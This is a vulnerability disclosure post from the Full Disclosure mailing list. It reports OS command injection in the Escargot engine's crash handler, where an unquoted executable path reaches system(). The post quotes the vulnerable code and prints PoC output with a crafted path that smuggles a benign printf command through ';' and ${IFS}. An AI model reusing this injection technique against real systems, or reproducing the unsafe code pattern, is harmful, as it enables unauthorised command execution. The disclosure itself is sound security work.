Full Disclosure mailing list archives

An OS command injection vulnerability exists in the Escargot
v4.3.0-214-gfaee4437 crash handler due to an executable/module path being
incorporated into an addr2line shell command without quoting or escaping.
The resulting command is executed using system(), causing shell
metacharacters contained within the path to be interpreted as command
syntax.

By launching Escargot using a crafted executable path containing shell
metacharacters and subsequently triggering the crash handler, arbitrary
shell commands can be executed with the privileges of the Escargot process.

Dynamic testing confirmed command execution by injecting a benign printf
command into the executable filename. Following a controlled crash, the
injected command executed and created a marker file containing
ESCARGOT_CMD_INJECTION_CONFIRMED.


Technical Details

During crash processing, Escargot generates symbolic stack-trace
information by constructing an addr2line command containing an
executable/module path obtained from the backtrace.

The affected code follows this pattern:

sprintf(
    syscom,
    "addr2line %s -e %s",
    addr.c_str(),
    modulePath.c_str());

system(syscom);

modulePath is inserted directly into the command string without shell
quoting, escaping, validation, or argument separation.

Because the resulting string is passed to system(), /bin/sh interprets
shell metacharacters contained within modulePath.

A path containing characters such as:

;

#

can therefore alter the structure of the intended addr2line command and
introduce additional shell commands.

Root Cause

Use of system() to invoke addr2line
Shell command constructed using sprintf()
Executable/module path inserted directly into command
No shell escaping or quoting
No validation of shell metacharacters
No argument separation

The fundamental issue is that a filesystem path is treated as part of a
shell command rather than as an opaque argument to the addr2line executable
Security Impact

An attacker capable of influencing the executable or module path processed
by the crash handler and causing the affected crash-handling path to
execute may run arbitrary operating-system commands with the privileges of
the Escargot process.

Potential impact includes:

Arbitrary OS Command Execution:
Injected shell commands execute in the context of the crashing process.

File Creation or Modification:
Commands can create or modify files accessible to the process.

Local Resource Access:
Injected commands inherit the filesystem and operating-system
permissions of the Escargot process.

Further Host Compromise:
Impact may increase depending on the privileges and execution
environment of the affected process.

The demonstrated PoC establishes command execution under conditions where
the executable path is attacker-controlled. It does not independently
establish that a remote attacker can control the executable/module path in
a standard Escargot deployment.

PoC Results
======================================================================
 PoC: Shell Crash Handler Command Injection
======================================================================

[+] RESULT: VULNERABILITY CONFIRMED

[+] Command injection successfully triggered through the crash-handler
    executable path.

[+] Injection Payload

printf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED>escargot_cmd_injection_proof

[+] Crafted Executable Path

/tmp/escargot-poc-bin/escargot;printf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED>escargot_cmd_injection_proof;#

[+] Crash Trigger
    Signal:      SIGABRT (6)
    Return Code: -6
    PID:         3988

[+] Arbitrary Command Execution Evidence
    Proof File:

/work/escargot/security-poc/build-debugger-test/escargot_cmd_injection_proof

    File Created: YES

    File Contents:
      ESCARGOT_CMD_INJECTION_CONFIRMED

[+] Exploitation Chain
    1. Escargot is executed from a path containing shell metacharacters.
    2. A controlled crash triggers the crash/signal handler.
    3. The handler incorporates the executable path into a shell command.
    4. Shell metacharacters in the executable path are interpreted.
    5. The injected printf command executes.
    6. A proof file containing the expected marker is created.

[+] Relevant Runtime Evidence

    Waiting for client connection 0.0.0.0:6514
    Connected from: 127.0.0.1

    Assertion `false' failed.
    Got signal 6, pid 3988

    [bt] Execution path:
    ...
    addr2line: '/tmp/escargot-poc-bin/escargot': No such file

[+] Verification
    Expected marker: ESCARGOT_CMD_INJECTION_CONFIRMED
    Observed marker: ESCARGOT_CMD_INJECTION_CONFIRMED


Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

• Escargot v4.3.0-214-gfaee4437 OS Command Injection in Crash Handler via Unsanitized Executable Path Ron E (Aug 26)